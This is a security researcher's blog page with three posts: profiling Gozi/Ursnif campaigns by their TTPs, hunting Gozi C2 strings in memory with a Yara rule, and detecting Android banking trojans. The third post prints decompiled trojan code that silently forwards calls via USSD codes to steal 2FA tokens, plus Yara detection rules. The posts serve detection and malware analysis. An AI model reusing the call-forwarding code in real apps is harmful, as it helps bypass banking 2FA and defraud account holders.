Showing posts with label yara. Show all posts
Showing posts with label yara. Show all posts

Monday, December 31, 2018

Knowing your adversaries and their TTPs. The Gozi case

Gozi (aka Ursnif), as many other financial malware, is used by several different actors operating world-wide. In a daily basis I see Gozi campaigns trying to infect users, however each campaign has their own 'particularities' which permit to differentiate between each campaign and the different criminal groups using the same malware. This set of 'particularities' are know as Tactics, Techniques and Procedures (TTPs).


A good resource to understand the different tactics and techniques used by adversaries is MITRE ATT&CK.  A lot of these techniques are mapped and implemented through the sigma project from Florian Roth, which can be deployed in several SIEM vendors. However, a key requirement to implement these rules is to have proper end-point monitoring on account that most of the techniques from ATT&CK are base on end-point detection. In Windows environments, this includes events from Sysmon, Windows security logs and PowerShell logs. 

Monitoring PowerShell is nowadays a must as many adversaries are using PowerShell, and frameworks using PowerShell like Empire, PowerSploit, Cobalt Strike, etc, as part of their tool arsenal.  
A few weeks back, during Botconf 2018, Tom Ueltschi did a presentation with the title "Hunting and detecting APTs using Sysmon and PowerShell logging". During his presentation Tom focused on detecting the ATT&CK techniques T1084 (Windows Management Instrumentation Event Subscription), T1037 (Logon Scripts) and T1086 (PowerShell) and he explained the approach he followed to detect APT attacks which use PowerShell at some point.

Going back to Gozi, the idea is to use some of the unique TTPs to cluster different campaigns and associate them to unique groups. For that, I focus the analysis on some key aspects:

  • Delivery Mechanism: Email is the main distribution mean, however there are differences between campaigns. For example, in some campaigns stolen email credentials are used. In some other other fake invoices are used as attachment, etc.
  • Attachment / Link: In some cases, the attached file is a VBS script. Other times, it is weaponised Microsoft Word Documents. Eventually, there is not attachment but malicious link.
  • Utilities: Built-in tools from the OS that are being used. For example, PowerShell, cmd.exe, certutil.exe, BITS, etc.
  • Full Command: Unique set of commands being use to pull the malware. This combines the utilities but sometimes using some unique 'patterns'.
  • Binary signed: whether the dropped binary is signed or not.
  • Gozi Version: version 2 or 3.

(This is just an example of some of the key indicators that can be used to cluster difference campaigns)

Analysis  of the VBS, Gozi version, PowerShell commands..


For the analysis of the different campaigns I combined some dynamic analysis techniques with sandboxes, similar to what I did here, and some debugging. For example, for the VBS scripts and in order to extract the set of commands without fully detonating the malware I use x32dbg with a breakpoint on Shell32.ShellExecuteExW.









By the way, with proper PowerShell logging the transcript of the logs provides the full set of commands executed:






The analysis of the Gozi Binary version is done with some Yara rules running in memory. 








Putting all together, I am able to create some matrix where I can identify the overlap between campaigns, which potentially link to unique actors: 





Saturday, November 24, 2018

Hunting malware in memory. A Gozi case.

Some of the actors using Gozi / Ursnif take advantage of compromised emails (BEC) to deliver weaponised Microsoft Office documents. This is not new at all, however in the last week I've seen an increase of such attacks. In recent campaigns, the office document contains a macro which spawn a cmd.exe which executes a PowerShell to download the payload.



This could be easily detected with any end-point use case which monitors processes and parent processes.

Also, Gozi can be easily detected via the registry keys as the malware itself is stored there.






The dropped payload from this Gozi version executes some unique  PowerShell command in order to persist in the registry key, which can be easily hunt:



Some endpoints solutions have the capability to run searches against Yara rules. In some cases the searches can cover running processes, live memory and specific files within a given folder. A good example is the open source project malscan which permits to scan process in memory. This is really an interesting way to detect malware in end-points.

For details on how Gozi works, there is a good post from Vitali Kremez explaining how recent versions of Gozi works.  In essence, Gozi injects a DLL (client.dll) in the explorer.exe process so it is possible to hunt for the URL C2 strings in this process. I already extracted the URL C2 strings in some past blog entry 



rule gozi_C2_memory {
     meta:
      description = "Gozi C2 memory"
      author = "@Angelill0 -  Angel Alonso Parrizas"
      date = "2018-11-19"

   strings:
      
        $s1 = /soft=\S+&version=\S+&user=\S+&server=\S+&id=\S+/  // Gozi V2
        $s2 = /soft=\S+&user=\S+&server=\S+&id=\S+/ // Gozi V2
        $s3 = /soft=\S+&version=\S+&user=\S+&group=\S+&id=\S+/  //Gozi V3

   condition:
        $s1 or $s2 or  $s3

}



Running the Yara rule against an infected system, it is possible to detect the C2 in memory:





Sunday, November 1, 2015

Detecting bank trojans which steal 2FA token through the code (Android)

In the last weeks I am working on a personal project to quickly detect Android Banking trojans which steal 2FA tokens. The idea is to create some intelligence around it.

I have been analysing different malware campaigns with different samples, like the last one detected by Symantec, Marcher, or emmental (I have talked about this one in this blog across several posts).

Obviously, the main objective of this kind of malware is to steal the credentials to access the Bank on behalf of the victim, but also to steal the 2FA. For example, if the bank sends a token through SMS (GSM), the malware is able to read that token and forward it via HTTP or GSM (SMS). In coming days, I will do in coming a post in which I will explain how I have reversed the SMS C&C of a malware which is able to steal tokens and forward via SMS.

To avoid this hack, some Banks have implemented additional security controls to distribute the tokens. Instead of sending the token through a SMS, an automatic system makes a call to the customer's phone and the token is confirmed via the call.

But malware developers have figured out it and have implemented contra-measures. The way they do this is forwarding all the calls to a third party phone via USSD codes.

For example, the codes to forward within Europe (which can be found here);

  •  ##21# + Phone number + #

And the code to disable:
  •  **21* #

Here are tho malware samples' code using this trick:


//Innuns malware
try
    {
      Object localObject = PreferenceManager.getDefaultSharedPreferences(paramContext);
      SharedPreferences.Editor localEditor = ((SharedPreferences)localObject).edit();
      if (paramString.length() > 4)
      {
        localObject = new Intent("android.intent.action.CALL", Uri.parse("tel:**21*" + paramString + Uri.encode("#")));
        ((Intent)localObject).addFlags(268435456);
        ((Intent)localObject).addFlags(4);
        localEditor.putString("hookcalls", paramString);
        localEditor.apply();
        paramContext.startActivity((Intent)localObject);
        return;
      }
      paramString = new Intent("android.intent.action.CALL", Uri.parse("tel:##21#" + ((SharedPreferences)localObject).getString("hookcalls", "") + Uri.encode("#")));
      paramString.addFlags(268435456);
      paramString.addFlags(4);
      localEditor.putString("hookcalls", "");
      localEditor.apply();
      paramContext.startActivity(paramString);
      return;
    }




// Marcher example

 public void a(BroadcastReceiver paramBroadcastReceiver, Context paramContext, SmsMessage[] paramArrayOfSmsMessage)
  {
    if (a.g().equals("Y2FsbF8xJiYm")) {}
    for (paramArrayOfSmsMessage = Uri.fromParts("tel", "#21#", null);; paramArrayOfSmsMessage = Uri.fromParts("tel", "##21#", null))
    {
      a.b(null);
      paramBroadcastReceiver.abortBroadcast();
      paramBroadcastReceiver = new Intent("android.intent.action.CALL", paramArrayOfSmsMessage);
      paramBroadcastReceiver.setFlags(268435456);
      paramContext.startActivity(paramBroadcastReceiver);
      return;
    }

public void a(BroadcastReceiver paramBroadcastReceiver, Context paramContext, SmsMessage[] paramArrayOfSmsMessage)
  {
    paramArrayOfSmsMessage = l.a(paramArrayOfSmsMessage);
    if (paramArrayOfSmsMessage.contains(d.a("Y2FsbF8xJiYm", b)))
    {
      paramArrayOfSmsMessage = paramArrayOfSmsMessage.split(d.a("Y2FsbF8xJiYm", b));
      paramArrayOfSmsMessage = "*21*+" + paramArrayOfSmsMessage[1] + "#";
      a.b("Y2FsbF8xJiYm");
    }
    for (;;)
    {
      paramArrayOfSmsMessage = Uri.fromParts("tel", paramArrayOfSmsMessage, null);
      paramBroadcastReceiver.abortBroadcast();
      paramBroadcastReceiver = new Intent("android.intent.action.CALL", paramArrayOfSmsMessage);
      paramBroadcastReceiver.setFlags(268435456);
      paramContext.startActivity(paramBroadcastReceiver);
      return;
      paramArrayOfSmsMessage = paramArrayOfSmsMessage.split(d.a("Y2FsbF8yJiYm", b));
      paramArrayOfSmsMessage = "**21*+" + paramArrayOfSmsMessage[1] + "#";
      a.b("Y2FsbF8yJiYm");
    }
  }
}



So what can we do with this information?, basically, any APK which contains this functionality likely is trying to do something bad. 
The best thing is to create some yara rule to detect it base on two things: the USSD code  and the CALL intent:


$ cat forward_calls_yara.rule
rule call_forward
{
    strings:
        $my_text_string = "*21"
$my_text_string2 = "#21"
$my_text_string3 = "android.intent.action.CALL"
    condition:
        ($my_text_string and $my_text_string3) or ($my_text_string2 and $my_text_string3)

}





Very simple method but very effective :)